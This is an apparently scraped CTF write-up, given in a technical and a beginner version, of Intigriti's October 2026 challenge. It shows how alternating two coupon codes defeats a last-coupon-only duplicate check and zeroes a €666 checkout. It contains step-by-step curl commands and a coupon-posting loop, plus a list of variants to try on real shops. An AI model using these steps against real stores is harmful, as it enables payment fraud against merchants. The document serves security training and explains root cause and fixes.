Exploiting Coupon Stacking to Get a Free Checkout: Intigriti October 2026 CTF Write-Up
The application only checked the most recently applied coupon for duplicates, allowing an attacker to alternate between two valid codes and stack discounts until the cart total reached zero. This let the attacker check out a €666 product for free.
Published on medium.com
Cybersecurity
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The Intigriti October 2026 CTF challenge, numbered 1026 and created by Globules, is a web security and business logic exercise hosted at https://challenge-1026.challenges.intigriti.io. The target is an e-commerce application with a cart, a newsletter subscription feature, promotional coupons and a checkout endpoint. The product used in the challenge is called midnight-vault and has a subtotal of €666.00.
The application offers two valid coupons:
- NEWS30: 30% off, which is €199.80 on €666.00
- NIGHT20: 20% off, which is €133.20 on €666.00
NEWS30 is tied to the newsletter feature, so it requires a newsletter subscription before it can be used. The cart also starts with €66.00 in store credit. The goal of the challenge is to reach a payable amount of zero and retrieve the flag.
The vulnerability class is coupon reuse and improper discount validation, mapped to CWE-840 (Business Logic Errors). The difficulty is rated medium.
Setup
No special tooling is required beyond curl and jq. The only precondition is a session on the target and a newsletter subscription, because NEWS30 depends on it. The researcher keeps the session in a cookie jar file named cj, so every request shares the same application session. The base URL is stored in a shell variable:
B="https://challenge-1026.challenges.intigriti.io"
Finding it
The application enforces a duplicate-coupon restriction, but it checks only the most recently applied coupon instead of validating against all previously applied coupons. Because of that, the restriction can be bypassed by alternating between the two valid codes:
NEWS30 → NIGHT20 → NEWS30 → NIGHT20
Each code passes the check because it differs from the one applied immediately before it. The researcher also notes that the initial cart contains €66.00 in store credit, but the exploit relies on the coupon validation weakness, not on manipulating that balance.
Exploitation
Step 1: Initialize the session
Create a session and save the cookies to a cookie jar so every later request shares the same application session.
curl -sS -c cj -b cj "$B/api/session"

The -c cj option writes cookies to the jar and -b cj reads them back, so the session established here is reused by every subsequent request.
Step 2: Subscribe for the October newsletter
NEWS30 is tied to the newsletter feature, so register an email address to satisfy the coupon's requirement.
curl -sS -c cj -b cj \
-X POST \
-H 'Content-Type: application/json' \
-d '{"email":"[redacted]"}' \
"$B/api/newsletter"

This is a JSON POST to /api/newsletter carrying an email address. The request carries an email address in a JSON body.
Step 3: Add the target product to the cart
Add the midnight-vault product, which has a subtotal of €666.00.
curl -sS -c cj -b cj \
-X POST \
-H 'Content-Type: application/json' \
-d '{"productId":"midnight-vault"}' \
"$B/api/cart/items" | jq

The cart now holds the €666.00 product, plus the €66.00 in store credit that was already present.
Step 4: Identify the stacking weakness
The application offers the two valid coupons described above. Alternating between them defeats the duplicate check, so each discount can be applied repeatedly. The arithmetic the researcher relies on is:
- NEWS30: 30% of €666.00 = €199.80
- NIGHT20: 20% of €666.00 = €133.20
Step 5: Apply the coupons in alternating order
for code in NEWS30 NIGHT20 NEWS30 NIGHT20; do
echo "Applying coupon: $code"
curl -sS -c cj -b cj \
-X POST \
-H 'Content-Type: application/json' \
-d "{\"code\":\"$code\"}" \
"$B/api/cart/coupon"
echo
done

The loop posts each code to /api/cart/coupon in the order NEWS30, NIGHT20, NEWS30, NIGHT20. Each coupon is applied twice, giving a total discount of:
€199.80 + €133.20 + €199.80 + €133.20 = €666.00
Step 6: Verify the cart total
curl -sS -c cj -b cj "$B/api/cart"
The expected state is:
- Subtotal: €666.00
- Total discount: €666.00
- Final total: €0.00
- Store credit: €66.00
- Can checkout: true

Step 7: Check out and retrieve the flag
curl -sS -c cj -b cj \
-X POST \
-H 'Content-Type: application/json' \
-d '{}' \
"$B/api/checkout"
Checkout succeeds with a payable amount of zero and returns the flag:

INTIGRITI{094638e6-ba2f-4c50-8bb4-41ced0d5debd}
Attack flow
- Initialize a session
- Register for the newsletter
- Add the product to the cart (€666.00)
- Apply NEWS30
- Apply NIGHT20
- Apply NEWS30 again
- Apply NIGHT20 again
- Total discount reaches €666.00, so the cart total is €0.00
- Checkout succeeds and returns the flag

Root cause
The flaw lies in how discounts are validated and aggregated. The server compares each incoming coupon only against the last one applied, rather than enforcing uniqueness across the full set of applied promotions. Two valid codes used alternately never trigger the duplicate check, and no cap on the cumulative discount stops the total from reaching 100%. The duplicate-coupon restriction therefore exists but is ineffective against alternating codes.
Impact
A coupon-stacking flaw undermines the integrity of an application's pricing and checkout process. The report lists two potential consequences:
- Financial loss: products can be obtained without the expected payment.
- Promotion abuse: promotional codes can be reused far beyond their intended restrictions.
In this challenge the outcome is a €666.00 product checked out for €0.00, with the cart still showing €66.00 in store credit.
Fix
The report recommends four measures:
- Validate the whole coupon set. Check every previously applied coupon, not just the latest one, to prevent duplicate use.
- Define clear stacking rules. Specify which coupons may be combined and how many times each may apply.
- Cap the total discount. Enforce a maximum cumulative discount per order.
- Recalculate on the server. Compute the final price at checkout instead of trusting previously calculated totals.
Variants to test
- Three or more alternating codes. If a target offers several distinct promotions, try cycling through all of them rather than two. A positive result is that each code is accepted more than once and the cumulative discount grows past the intended limit.
- Alternating with a code that has no prerequisite. Pair a coupon that requires a condition (such as a newsletter subscription) with one that does not, and check whether the prerequisite is re-evaluated on each application. A positive result is that the conditional coupon keeps applying without the condition being rechecked.
- Removing and re-adding a coupon. Apply a code, remove it, then apply it again after a different code. A positive result is that the duplicate check is reset by the removal and the same code applies twice.
- Discounts that exceed the subtotal. Stack until the discount passes 100% of the subtotal and observe whether the excess becomes store credit or a negative total. A positive result is a credit balance or a negative payable amount rather than a floor at zero.
- Server-side recalculation at checkout. Compare the cart total returned by the cart endpoint with the amount the checkout endpoint charges. A positive result is that checkout trusts the client-visible total instead of recomputing it.
What happened, in plain words
A security competition called a CTF (Capture The Flag) ran in October 2026 on the Intigriti platform. The challenge, numbered 1026 and built by a person going by the name Globules, was a pretend online shop. The goal was to buy an expensive item without paying anything, and the reward for succeeding was a hidden string of text called a flag.
The shop had a shopping cart, a newsletter sign-up, two discount coupons and a checkout button. The item on sale, called midnight-vault, cost €666.00. The shop also gave every new cart €66.00 of store credit, which is money the shop owes you and which you can spend on an order.
The two coupons were:
- NEWS30: 30% off, which is €199.80 on €666.00
- NIGHT20: 20% off, which is €133.20 on €666.00
NEWS30 was tied to the newsletter feature, so you had to subscribe to the newsletter before you could use it. The shop tried to stop people from using the same coupon twice, but it did that check badly. By applying the two coupons in an alternating pattern, the researcher got each one accepted twice, which added up to exactly €666.00 of discount. The cart total became €0.00, checkout went through, and the shop returned the flag.
The weakness is classed as coupon reuse and improper discount validation, which falls under CWE-840 (Business Logic Errors). The challenge difficulty was rated medium.
The ideas you need first
Before walking through the steps, here are the few concepts the rest of the article relies on. Each one is explained from scratch.
A web application. A website that does more than show fixed pages: it keeps track of you, lets you add things to a basket, and changes what it shows based on what you do. The pretend shop is one of these.
An API. Short for Application Programming Interface. When you click a button in a shop, your browser sends a message to the shop's server and the server sends a reply. An API is the set of addresses and message formats that those messages use. Think of it as the service counter at the back of a shop: you do not walk into the stockroom yourself, you hand a written request to the counter and get a written answer back. In this challenge the counter has addresses like /api/cart and /api/checkout.
A request and a response. A request is the message your browser (or a tool) sends to the server: which address, what kind of action, and any data. A response is the server's reply: a status and usually some data. Every step below is one request and one response.
HTTP methods. The kind of action a request asks for. GET means "give me something". POST means "here is some data, do something with it". Adding an item to a cart or applying a coupon is a POST, because it changes something on the server.
JSON. A way of writing data as text, using curly braces, quoted names and values. {"productId":"midnight-vault"} is JSON meaning "the product identifier is midnight-vault". Servers and tools exchange data in this format because both sides can read it easily.
A cookie. A small piece of text that a server gives your browser and that your browser sends back on every later request to the same site. It is how the server recognises you between requests. Compare it to a cloakroom ticket: the attendant gives you a ticket, and when you come back with the ticket they know which coat is yours. Without it, the server would treat every request as a brand new stranger.
A session. The server-side record that a cookie points to. The cookie is the ticket; the session is the coat. When you start a session, the server creates a record and hands you a cookie that identifies it.
A cookie jar. A file on your computer where a tool like curl stores cookies it receives, and reads them back from on later requests. It lets a series of separate commands behave as if they were one continuous visit.
curl. A command-line tool that sends HTTP requests and prints the responses. It is the browser's job done from a text terminal, which makes it easy to repeat the same request many times.
jq. A command-line tool that reformats JSON so a human can read it, with indentation and line breaks.
A shell variable. A named box in the terminal that holds a piece of text. B="..." puts a web address in a box called B, so later commands can write $B instead of retyping the whole address.
A coupon and coupon stacking. A coupon is a code that reduces the price. Stacking means applying more than one coupon to the same order. Shops usually allow some stacking but limit it; the bug here is that the limit could be bypassed.
Business logic. The rules a shop follows about what is allowed, as opposed to technical rules about passwords or encryption. "A coupon may be used once per order" is business logic. A business logic error is a case where the rules are written down but enforced incorrectly, so the shop does something it never intended, like selling a €666.00 item for nothing.
A flag. A unique string that a CTF challenge hands you when you succeed, proving you completed it. Here it is INTIGRITI{...}.
Setup
The only tools needed are curl and jq. The only precondition is a session on the target and a newsletter subscription, because NEWS30 depends on it. The researcher keeps the session in a cookie jar file named cj, so every request shares the same application session. The base address of the shop is stored in a shell variable:
B="https://challenge-1026.challenges.intigriti.io"
Line by line:
B=assigns a value to a shell variable namedB.- The value is the address of the challenge shop, in quotes so the terminal treats it as one piece of text.
- From now on,
$Bin any command is replaced by that address. This avoids retyping it and avoids typos.
Finding it
The shop does have a rule against using the same coupon twice. The problem is how it checks. It compares each new coupon only with the coupon applied immediately before it, instead of checking against every coupon already on the order. So the rule can be sidestepped by alternating between the two valid codes:
NEWS30 → NIGHT20 → NEWS30 → NIGHT20
Each code passes the check because it is different from the one applied just before it. The researcher also notes that the cart starts with €66.00 in store credit, but the exploit relies on the coupon validation weakness, not on manipulating that balance.
A useful comparison: imagine a bouncer who only remembers the last person who walked in. If you and a friend take turns entering, the bouncer never notices that you have both already been inside several times.
Exploitation
Step 1: Initialize the session
Create a session and save the cookies to a cookie jar so every later request shares the same application session.
curl -sS -c cj -b cj "$B/api/session"

Line by line:
curlis the tool sending the request.-sSkeeps the output quiet about progress but still shows real errors. It makes the output easier to read.-c cjtellscurlto write any cookies it receives into a file namedcj. This is the cookie jar.-b cjtellscurlto read cookies from that same file and send them with the request. On this first call the file is empty, so nothing is sent; on every later call the session cookie is sent."$B/api/session"is the address being requested: the shop's address followed by/api/session, the endpoint that starts a session.
Why this step: the shop needs to know that all the following requests come from the same visitor. Without a shared session, adding an item to the cart and then applying a coupon would look like two unrelated strangers, and the cart would be empty when the coupon arrived.
Step 2: Subscribe for the October newsletter
NEWS30 is tied to the newsletter feature, so register an email address to satisfy the coupon's requirement.
curl -sS -c cj -b cj \
-X POST \
-H 'Content-Type: application/json' \
-d '{"email":"[redacted]"}' \
"$B/api/newsletter"

Line by line:
curl -sS -c cj -b cjis the same as before: quiet output, and read and write the cookie jar so the session carries over.-X POSTsays this request is aPOST, an action that changes something on the server, rather than a plainGETthat only asks for data.-H 'Content-Type: application/json'adds a header telling the server that the body of the request is JSON. A header is extra information attached to a request, like the label on a parcel saying what is inside.-d '{"email":"[redacted]"}'is the body of the request: a JSON object with one field,email. The request carries an email address in a JSON body."$B/api/newsletter"is the address of the newsletter endpoint.- The backslashes at the end of lines let one long command be written across several lines for readability.
Why this step: NEWS30 is only valid for people who subscribed to the newsletter. Subscribing first means the coupon's condition is met, so the shop will accept the code later.
Step 3: Add the target product to the cart
Add the midnight-vault product, which has a subtotal of €666.00.
curl -sS -c cj -b cj \
-X POST \
-H 'Content-Type: application/json' \
-d '{"productId":"midnight-vault"}' \
"$B/api/cart/items" | jq

Line by line:
- The first four lines do the same jobs as in step 2: send a
POSTwith a JSON body, using the shared session. -d '{"productId":"midnight-vault"}'is the body: a JSON object naming the product to add.productIdis the field,midnight-vaultis the value."$B/api/cart/items"is the address for the items in the cart.| jqtakes the server's reply and pipes it intojq, which prints it neatly indented so a human can read it.
Why this step: the exploit needs something expensive in the cart for the discounts to act on. The cart now holds the €666.00 product; the initial cart also contained €66.00 in store credit.
Step 4: Identify the stacking weakness
The shop offers the two valid coupons described earlier. Alternating between them defeats the duplicate check, so each discount can be applied repeatedly. The arithmetic the researcher relies on is:
- NEWS30: 30% of €666.00 = €199.80
- NIGHT20: 20% of €666.00 = €133.20
Why this step: before sending anything, it helps to work out what the result should be. Two applications of each coupon give €199.80 + €133.20 + €199.80 + €133.20, which is exactly the price of the item. Knowing that in advance tells you the attack should reach a total of zero.
Step 5: Apply the coupons in alternating order
for code in NEWS30 NIGHT20 NEWS30 NIGHT20; do
echo "Applying coupon: $code"
curl -sS -c cj -b cj \
-X POST \
-H 'Content-Type: application/json' \
-d "{\"code\":\"$code\"}" \
"$B/api/cart/coupon"
echo
done

Line by line:
for code in NEWS30 NIGHT20 NEWS30 NIGHT20; dostarts a loop. The terminal will run the lines betweendoanddoneonce for each of the four words, and each time the variablecodeholds the current word.echo "Applying coupon: $code"prints a line saying which coupon is about to be sent, so the output is easy to follow.- The
curlline is the same pattern as before: shared session,POST, JSON body. -d "{\"code\":\"$code\"}"builds the body. The backslashes before the inner quotes stop the terminal from treating them as the end of the string, and$codeis replaced by the current coupon name. So the first pass sends{"code":"NEWS30"}, the second{"code":"NIGHT20"}, and so on."$B/api/cart/coupon"is the address that applies a coupon to the cart.echoon its own prints a blank line, separating the replies.donecloses the loop.
The loop posts each code to /api/cart/coupon in the order NEWS30, NIGHT20, NEWS30, NIGHT20. Each coupon is applied twice, giving a total discount of:
€199.80 + €133.20 + €199.80 + €133.20 = €666.00
Why this step: this is the heart of the attack. Sending the same code twice in a row would be refused, because the shop compares each new code with the previous one. Sending them alternately means every code differs from the one before it, so every request passes the check.
Step 6: Verify the cart total
curl -sS -c cj -b cj "$B/api/cart"
Line by line:
- This is a plain
GETrequest, the default forcurl, so no-Xis needed. -c cj -b cjagain keeps the same session."$B/api/cart"asks the shop to show the current cart.
The expected state is:
- Subtotal: €666.00
- Total discount: €666.00
- Final total: €0.00
- Store credit: €66.00
- Can checkout: true

Why this step: before trying to pay, check that the shop itself agrees the price is zero. If the discount had not stacked, the total would still be above zero.
Step 7: Check out and retrieve the flag
curl -sS -c cj -b cj \
-X POST \
-H 'Content-Type: application/json' \
-d '{}' \
"$B/api/checkout"
Line by line:
- Same shared session, same
POST, same JSON header. -d '{}'is an empty JSON object. Checkout needs no extra data because everything it needs is already in the cart."$B/api/checkout"is the address that turns the cart into an order.
Checkout succeeds with a payable amount of zero and returns the flag:

INTIGRITI{094638e6-ba2f-4c50-8bb4-41ced0d5debd}
Why this step: the flag is only handed out when an order is actually completed. The zero total from step 6 is what makes the checkout succeed without payment.
Attack flow
- Initialize a session
- Register for the newsletter
- Add the product to the cart (€666.00)
- Apply NEWS30
- Apply NIGHT20
- Apply NEWS30 again
- Apply NIGHT20 again
- Total discount reaches €666.00, so the cart total is €0.00
- Checkout succeeds and returns the flag

Root cause
The flaw lies in how discounts are validated and aggregated. The server compares each incoming coupon only against the last one applied, rather than enforcing uniqueness across the full set of applied promotions. Two valid codes used alternately never trigger the duplicate check, and no cap on the cumulative discount stops the total from reaching 100%. The duplicate-coupon restriction therefore exists but is ineffective against alternating codes.
In everyday terms: the shop has a rule, but it checks the rule against the wrong thing. It should ask "has this code already been used on this order?" but instead asks "is this code the same as the one just before it?". Those two questions give different answers as soon as you alternate.
Impact
A coupon-stacking flaw undermines the integrity of an application's pricing and checkout process. The report lists two potential consequences:
- Financial loss: products can be obtained without the expected payment.
- Promotion abuse: promotional codes can be reused far beyond their intended restrictions.
In this challenge the outcome is a €666.00 product checked out for €0.00, with the cart still showing €66.00 in store credit.
Fix
The report recommends four measures:
- Validate the whole coupon set. Check every previously applied coupon, not just the latest one, to prevent duplicate use.
- Define clear stacking rules. Specify which coupons may be combined and how many times each may apply.
- Cap the total discount. Enforce a maximum cumulative discount per order.
- Recalculate on the server. Compute the final price at checkout instead of trusting previously calculated totals.
Variants to test
These are other ways the same kind of weakness might show up on a real shop. Each one describes what to try and what a positive result looks like.
- Three or more alternating codes. If a target offers several distinct promotions, try cycling through all of them rather than two. A positive result is that each code is accepted more than once and the cumulative discount grows past the intended limit.
- Alternating with a code that has no prerequisite. Pair a coupon that requires a condition (such as a newsletter subscription) with one that does not, and check whether the prerequisite is re-evaluated on each application. A positive result is that the conditional coupon keeps applying without the condition being rechecked.
- Removing and re-adding a coupon. Apply a code, remove it, then apply it again after a different code. A positive result is that the duplicate check is reset by the removal and the same code applies twice.
- Discounts that exceed the subtotal. Stack until the discount passes 100% of the subtotal and observe whether the excess becomes store credit or a negative total. A positive result is a credit balance or a negative payable amount rather than a floor at zero.
- Server-side recalculation at checkout. Compare the cart total returned by the cart endpoint with the amount the checkout endpoint charges. A positive result is that checkout trusts the client-visible total instead of recomputing it.
Glossary
- API: the set of addresses and message formats a program uses to talk to a server, like a service counter for requests.
- Business logic: the rules a shop follows about what is allowed, such as how many times a coupon may be used.
- Business logic error: a case where such a rule is written down but enforced incorrectly, so the shop does something it never intended.
- Checkout: the step that turns a cart into a completed order.
- Cookie: a small piece of text a server gives your browser and your browser sends back on later requests, so the server recognises you.
- Cookie jar: a file where a tool stores cookies and reads them back, so separate commands share one session.
- Coupon: a code that reduces the price of an order.
- Coupon stacking: applying more than one coupon to the same order.
- CTF (Capture The Flag): a security competition where you solve challenges and receive a hidden string as proof.
- CWE-840: the catalogue entry for Business Logic Errors, a standard way of labelling this kind of weakness.
- Endpoint: one specific address on a server that accepts requests, such as
/api/cart. - Flag: the unique string a CTF challenge returns when you succeed.
GET: an HTTP method meaning "give me something", used for reading data.- Header: extra information attached to a request, such as what format the body is in.
- HTTP method: the kind of action a request asks for, such as
GETorPOST. - JSON: a text format for writing data as names and values inside curly braces.
jq: a command-line tool that reformats JSON so a human can read it.POST: an HTTP method meaning "here is some data, do something with it", used for actions that change something.- Request: the message sent to a server: an address, an action and any data.
- Response: the server's reply to a request.
- Session: the server-side record that a cookie points to, letting the server recognise you between requests.
- Shell variable: a named box in the terminal holding a piece of text, written as
$nameto use it. - Store credit: money the shop owes you, which can be spent on an order.
- Subtotal: the price of the items before any discount is applied.